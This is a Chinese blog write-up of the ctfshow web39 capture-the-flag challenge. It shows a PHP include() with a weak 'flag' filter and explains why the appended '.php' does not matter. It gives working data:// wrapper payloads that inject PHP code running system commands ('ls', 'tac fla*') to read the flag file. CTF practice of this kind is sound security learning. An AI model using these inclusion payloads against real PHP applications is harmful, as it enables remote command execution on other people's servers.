当前位置: 首页 > news >正文

[ctfshow web入门] web39

信息收集

题目发生了微妙的变化,只过滤flag,include后固定跟上了.php。且没有了echo $flag;,虽说本来就没什么用

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }     
}else{
    highlight_file(__FILE__);
}

解题

更多解法参考[ctfshow web入门] web37
虽然题目变了,但是解法还是没变,这里只选最简单的一种

你问我为什么没变?
之前有提到过,php中.可以用于字符串的拼接,例如 'ab'.'cd' = 'abcd'
我们传的是标签啊,.php在标签外面,被当做普通文本直接打印出来了

include("data://text/plain,<?= system("tac fla*") ?>.php")
?c=data://text/plain,<?= system("ls") ?>
?c=data://text/plain,<?= system("tac fla*") ?>

?c=data://text/plain,<?= system("tac ?lag.p?p") ?>

在这里插入图片描述
那么细心的小伙伴就会问了,这个多出来的.php到底有什么影响。.php被拼到最后面去了
在这里插入图片描述


web38    目录    web40

相关文章:

  • 深入理解 RxSwift 中的 Driver:用法与实践
  • NI labview数据采集程序
  • wait 和notify ,notifyAll,sleep
  • ecovadis认证有什么好处?ecovadis认证有什么要求 有哪些勋章
  • C++函数签名
  • 工作的意义,在工作以外的地方
  • 从0到1打造一套适合自己接单的脚手架03用户登录注册
  • 触摸屏触摸坐标与画面对齐
  • 前端性能优化核弹级方案:CSS分层渲染+Wasm,首屏提速300%!
  • MySQL:事务的理解
  • Spring Cloud Alibaba微服务治理实战:Nacos+Sentinel深度解析
  • 纳米软件矿用电源模块自动化测试方案分享
  • C++中std::allocator基本使用和注意事项
  • powerDesign 逆向 mysql 生成 物理模型,并用VBS脚本整理comment
  • 公司内部建立pypi源
  • 《Vue.js组件化开发实战:从安全纵深到性能跃迁》
  • leetcode刷题日记——三数之和
  • 李白打酒加强版本
  • 简单括号匹配_栈
  • 代码随想录算法训练营第十四天